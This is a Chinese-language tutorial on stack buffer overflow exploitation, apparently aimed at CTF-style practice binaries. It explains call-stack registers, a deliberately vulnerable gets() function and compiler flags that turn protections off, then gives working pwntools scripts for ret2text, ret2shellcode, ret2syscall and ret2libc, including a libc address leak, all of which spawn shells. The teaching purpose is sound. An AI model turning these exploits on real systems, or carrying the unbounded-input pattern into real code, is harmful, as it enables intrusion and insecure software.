栈溢出详解
字数 1277 2025-08-05 08:35:55
栈溢出漏洞利用详解
一、函数调用栈基础
1. 关键寄存器
- esp: 存储函数调用栈的栈顶地址,在压栈和退栈时变化
- ebp: 存储当前函数状态的基地址,函数运行时不变,用于索引函数参数或局部变量
- eip: 存储即将执行的程序指令地址,CPU按eip内容读取执行指令
2. 函数调用过程示例
#include <stdio.h>
int sum(int x, int y) {
return x + y;
}
int main() {
sum(1, 2);
return 0;
}
- main调用sum时,参数1、2逆序压入栈
- sum执行完后返回到sum(1,2)的下一条指令(return 0)
- 调用sum前会保存main的栈帧信息(PUSH Caller's ebp)
二、栈溢出原理
1. 典型栈溢出示例
int vulnerable() {
char buffer[8]; // [esp+8h] [ebp-10h]
gets(buffer);
return 0;
}
- buffer开辟8字节栈缓冲区
- gets()无长度限制,输入超过8字节可造成栈溢出
- 可覆盖关键内存如返回地址
2. 栈溢出利用步骤
- 确定溢出点位置(填充多少垃圾数据)
- 覆盖返回地址
- 构造payload执行恶意代码
三、保护机制与绕过方法
1. 常见保护机制
| 保护机制 | 描述 | 关闭选项 |
|---|---|---|
| RELRO | 防止GOT表改写 | gcc -z norelro |
| Stack Canary | 栈溢出检测 | gcc -fno-stack-protector |
| NX | 栈不可执行 | gcc -z execstack |
| PIE | 地址随机化 | gcc -no-pie |
| FORTIFY | 危险函数替换 | gcc -D_FORTIFY_SOURCE=0 |
2. 检查保护机制
使用checksec工具检查二进制文件保护:
Arch: 程序架构(决定用p32/p64)
RELRO: Partial/Full
Stack: Canary found/NX enabled
PIE: PIE enabled
四、栈溢出利用技术
1. ret2text
- 利用程序中已有的后门函数
- 示例:
from pwn import *
io = process("./ret2text")
get_shell_addr = 0x8048522
payload = b'A'*16 + b'BBBB' + p32(get_shell_addr)
io.sendline(payload)
io.interactive()
2. ret2shellcode
- 适用于NX关闭的情况
- 将shellcode写入可执行区域
- 示例:
from pwn import *
context.arch = "amd64"
io = process("./ret2stack")
shellcode = asm(shellcraft.amd64.sh())
payload = shellcode.ljust(120, b'a') + p64(0x7fffffffe0e0)
io.sendline(payload)
io.interactive()
3. ret2syscall
- 通过系统调用获取shell
- 需要构造ROP链设置寄存器:
- eax = 0xb (execve系统调用号)
- ebx = "/bin/sh"地址
- ecx = edx = 0
- 查找gadget:
ROPgadget --binary ret2syscall --only('pop|ret')
ROPgadget --binary ret2syscall --string '/bin/sh'
ROPgadget --binary ret2syscall --only "int"
- 示例:
from pwn import *
io = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int_80 = 0x08049421
bin_sh = 0x080be408
payload = flat([
b'A'*112, pop_eax_ret, 0xb,
pop_edx_ecx_ebx, 0, 0, bin_sh,
int_80
])
io.sendline(payload)
io.interactive()
4. ret2libc
- 利用libc中的函数(如system)
- 动态链接过程:
- 首次调用函数跳转到plt表
- plt表项跳转到got表
- got表初始指向plt解析代码
- 解析后填入真实地址
(1) ret2libc1
- 程序中有system和"/bin/sh"
from pwn import *
io = process("./ret2libc1")
sys_plt = 0x8048460
binsh = 0x08048720
payload = b'A'*112 + p32(sys_plt) + b'a'*4 + p32(binsh)
io.sendline(payload)
io.interactive()
(2) ret2libc2
- 需要自己写入"/bin/sh"
from pwn import *
io = process("./ret2libc2")
sys_plt = 0x8048490
buf2 = 0x804a080
gets_plt = 0x8048460
payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.interactive()
(3) ret2libc3
- 需要泄露libc地址
# 需要先泄露函数地址,再计算libc基址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
# 泄露puts地址
payload = b'A'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
io.sendlineafter("message:", payload)
puts_addr = u32(io.recv(4))
# 计算system地址
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# 第二次溢出
payload = b'A'*112 + p32(system) + b'BBBB' + p32(binsh)
io.sendline(payload)
io.interactive()
五、实用工具与命令
- 检查保护机制:
checksec binary
- 查找字符串:
ROPgadget --binary file --string "/bin/sh"
- 查找gadget:
ROPgadget --binary file --only "pop|ret"
- 查看系统调用号:
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "execve"
- GDB调试命令:
gdb binary
b main # 在main函数设断点
r # 运行
n # 步过
s # 步进
x/20x addr # 查看内存
stack 20 # 查看栈
六、总结
栈溢出利用关键点:
- 确定溢出点位置(动调最准确)
- 根据保护机制选择合适的利用技术
- 构造ROP链时要考虑栈平衡
- 动态链接环境下需要计算libc基址
- 合理使用工具辅助分析
通过系统学习这些技术,可以逐步掌握栈溢出漏洞的利用方法,从简单到复杂,最终能够应对各种保护机制的组合。